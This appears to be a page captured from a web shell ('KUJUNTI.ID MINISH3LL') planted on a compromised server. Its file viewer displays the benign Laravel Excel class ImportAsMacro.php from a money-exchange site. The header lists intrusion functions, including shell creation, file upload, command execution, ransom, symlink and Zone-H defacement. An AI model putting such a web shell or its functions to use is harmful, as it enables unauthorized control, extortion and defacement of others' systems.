KUJUNTI.ID MINISH3LL
Path : /var/www/html/mini-moneyexchange/vendor/maatwebsite/excel/src/Mixins/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/mini-moneyexchange/vendor/maatwebsite/excel/src/Mixins/ImportAsMacro.php


<?php

namespace Maatwebsite\Excel\Mixins;

use Illuminate\Database\Eloquent\Model;
use Maatwebsite\Excel\Concerns\Importable;
use Maatwebsite\Excel\Concerns\ToModel;

class ImportAsMacro
{
    public function __invoke()
    {
        return function (string $filename, callable $mapping, string $disk = null, string $readerType = null) {
            $import = new class(get_class($this->getModel()), $mapping) implements ToModel
            {
                use Importable;

                /**
                 * @var string
                 */
                private $model;

                /**
                 * @var callable
                 */
                private $mapping;

                /**
                 * @param  string  $model
                 * @param  callable  $mapping
                 */
                public function __construct(string $model, callable $mapping)
                {
                    $this->model   = $model;
                    $this->mapping = $mapping;
                }

                /**
                 * @param  array  $row
                 * @return Model|Model[]|null
                 */
                public function model(array $row)
                {
                    return (new $this->model)->fill(
                        ($this->mapping)($row)
                    );
                }
            };

            return $import->import($filename, $disk, $readerType);
        };
    }
}

© KUJUNTI.ID